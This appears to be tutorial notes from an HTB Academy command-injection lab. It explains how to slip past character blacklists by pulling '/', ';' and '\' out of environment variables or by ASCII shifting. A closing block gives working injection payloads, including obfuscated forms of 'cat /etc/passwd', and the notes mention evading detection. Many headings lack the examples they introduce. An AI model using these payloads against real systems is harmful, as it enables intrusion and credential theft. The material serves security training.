π Character Crafting: Advanced techniques for generating blacklisted characters using environment variables and character manipulation
Overview
Beyond injection operators and space characters, many other characters are commonly blacklisted in command injection filters. The most frequently blocked characters include:
Forward slash (/) - Essential for Linux/Unix directory paths
Backslash (\) - Required for Windows directory paths
Semicolon (;) - Common command separator
Special characters - Various symbols used in advanced payloads
This section demonstrates sophisticated techniques to generate any required character while avoiding direct use of blacklisted characters.
Focus: Creative character generation methods for comprehensive filter bypass.
Linux Environment Variable Extraction
Understanding Environment Variables
Concept: Linux environment variables contain various characters that can be extracted using substring operations.
Syntax:${VARIABLE:start:length}
start - Starting position (0-indexed)
length - Number of characters to extract
Extracting Forward Slash (/)
Using $PATH Variable:
Analysis:
${PATH} starts with /usr/local/bin...
${PATH:0:1} extracts position 0, length 1 = /
Web Application Usage:
Alternative Environment Variables:
Extracting Semicolon (;)
Using $LS_COLORS Variable:
Understanding the Extraction:
Web Application Usage:
Environment Variable Discovery
Finding Useful Variables:
Common Variables with Useful Characters:
Variable Syntax Alternatives
Different Environment Variable Formats:
Web Application Usage Variations:
Advantages of Each Syntax:
Explicit ${VAR} Syntax:
β Clear boundaries - Prevents variable name confusion
β Safer parsing - Bash interprets correctly in complex contexts
β Substring support - Required for ${VAR:start:length}
β Best practice - Recommended in professional scripts
Short $VAR Syntax:
β Compact - Shorter payloads
β Less encoding - Fewer special characters to URL encode
β Faster typing - Quick manual testing
β Ambiguous boundaries - Can cause parsing issues in complex strings
URL Encoding Comparison
Encoding Length Differences:
Practical Payload Size Impact:
Advanced Character Extraction
Extracting Multiple Characters:
Dynamic Position Calculation:
Windows Character Extraction
Windows Command Line (CMD)
Understanding Windows Substring Syntax:%VARIABLE:~start,length% or %VARIABLE:~start,end%
Extracting Backslash ():
Breaking Down the Extraction:
Alternative Windows Variables:
Windows PowerShell
Array-Based Character Access:
Environment Variable Discovery:
Complex Character Extraction:
Character Shifting Techniques
Linux Character Shifting
Understanding ASCII Shifting:
Each character has an ASCII value
We can shift characters by 1 position to get adjacent characters
Useful when the exact character is blocked but adjacent ones aren't
Basic Shifting Command:
How It Works:
Finding Characters for Shifting:
Practical ASCII Reference
Common Characters and Their Predecessors:
Web Application Usage:
Windows Character Shifting
PowerShell Shifting:
CMD Character Arithmetic:
HTB Academy Lab Solution
Challenge Requirements
Task: Find the name of the user in the '/home' folder.
Constraints:
Forward slash (/) likely blacklisted
Need to execute ls /home or similar command
Must use character bypass techniques
Solution Approaches
Method 1: Environment Variable for Slash
Method 2: Brace Expansion + Environment Variable
Method 3: IFS + Environment Variable
Method 4: Character Shifting for Slash
Method 5: Short Syntax Alternative
Expected Output Analysis
Command Execution:
Alternative Possible Usernames:
htb-student
ubuntu
user
kali
pentester
Answer: Based on typical HTB Academy naming: htb-student
Advanced Character Generation
Comprehensive Character Mapping
Environment Variable Character Sources:
Multi-Character Generation
Building Complex Strings:
Variable Concatenation:
Platform-Agnostic Approaches
Cross-Platform Character Generation:
Detection Evasion Strategies
Randomizing Character Sources
Varying Environment Variables:
Dynamic Position Selection:
Obfuscation Techniques
Multi-Layer Character Generation:
Payload Fragmentation:
Comprehensive Testing Methodology
Character Discovery Process
Step 1: Environment Enumeration
Step 2: Position Mapping
Step 3: Extraction Testing
Step 4: Web Application Testing
Payload Development Template
Progressive Character Bypass:
This comprehensive guide to character filter bypasses enables sophisticated payload construction while evading detection, ensuring successful command injection even when multiple character classes are blacklisted.
# PowerShell treats strings as character arrays
PS C:\htb> $env:HOMEPATH[0]
\
# Alternative variables
PS C:\htb> $env:WINDIR[2]
\
# Accessing other characters
PS C:\htb> $env:PROGRAMFILES[10]
# (depends on the value of PROGRAMFILES)
# List all environment variables
Get-ChildItem Env:
# Search for specific characters
Get-ChildItem Env: | Where-Object {$_.Value -like "*;*"}
Get-ChildItem Env: | Where-Object {$_.Value -like "*\*"}
# Extract from longer variables
$env:PATH.Split(';')[0][2] # Get specific character from path segment
($env:PSModulePath -split ';')[0][10] # Extract from module paths
# tr command shifts character range
echo $(tr '!-}' '"-~'<<<[)
# Result: \
# ASCII values:
# [ = 91 (decimal)
# \ = 92 (decimal)
# tr '!-}' '"-~' shifts each character by +1
# So [ (91) becomes \ (92)
# Creating paths dynamically
path=${PATH:0:1}home${PATH:0:1}user
ls $path # β ls /home/user
# Linux
slash=${PATH:0:1}
# Windows CMD
set "slash=%PROGRAMFILES:~2,1%"
# Windows PowerShell
$slash = $env:WINDIR[2]
# Don't always use the same variable
Method 1: ${PATH:0:1}
Method 2: ${HOME:0:1}
Method 3: ${PWD:0:1}
Method 4: ${SHELL:0:1}
# Use different positions when possible
${LS_COLORS:10:1} # Position 10
${LS_COLORS:15:1} # Position 15 (if it contains ;)
${PS1:1:1} # Alternative position
# Split payloads across multiple variables
p1=${PATH:0:1}
p2=home
ls ${p1}${p2}
# List all environment variables
printenv | head -20
# Search for target characters
printenv | grep "/" | head -5
printenv | grep ";" | head -5
printenv | grep "&" | head -5
# Map character positions in promising variables
echo "${PATH}" | sed 's/./&\n/g' | nl # Number each character
echo "${LS_COLORS}" | sed 's/./&\n/g' | nl
# Test extractions locally
echo ${PATH:0:1} # Test position 0
echo ${PATH:1:1} # Test position 1
echo ${PATH:4:1} # Test position 4
# Test in target application - Explicit syntax
ip=127.0.0.1%0aecho${IFS}${PATH:0:1}
ip=127.0.0.1%0als${PATH:0:1}home
# Test alternative syntax variations
ip=127.0.0.1%0aecho$IFS${PATH:0:1} # Short IFS syntax
ip=127.0.0.1%0als$IFS${PATH:0:1}home # Mixed syntax
ip=127.0.0.1%0aecho"${IFS}"${PATH:0:1} # Quoted syntax
# Level 1: Simple character replacement
original: ls /home
bypass: ls${PATH:0:1}home
# Level 2: Multiple character bypass
original: ls /home; whoami
bypass: ls${PATH:0:1}home${LS_COLORS:10:1}${IFS}whoami
# Level 3: Complex string construction
original: cat /etc/passwd
bypass: cat${IFS}${PATH:0:1}etc${PATH:0:1}passwd
# Level 4: Full command obfuscation
original: find /home -name "*.txt"
bypass: {find,${PATH:0:1}home,-name,${PATH:0:1}*.txt}